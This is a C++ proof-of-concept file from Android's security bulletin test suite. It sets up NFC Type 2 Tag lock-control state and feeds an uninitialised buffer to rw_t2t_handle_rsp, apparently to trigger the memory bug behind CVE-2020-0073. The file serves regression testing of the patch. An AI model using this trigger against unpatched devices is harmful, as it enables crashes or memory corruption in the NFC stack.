hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp

/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdlib.h>
#include "../includes/common.h"
#include <nfc_api.h>
#include <rw_int.h>

extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t* p_data);
void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
    (void)event;
    (void)p_rw_data;
}

int main() {
    tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
    rw_init();
    rw_cb.p_cback = &poc_cback;
    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
    p_t2t->bytes_count = 1;
    p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
    uint8_t data[T2T_READ_DATA_LEN];
    rw_t2t_handle_rsp(data);
    return EXIT_SUCCESS;
}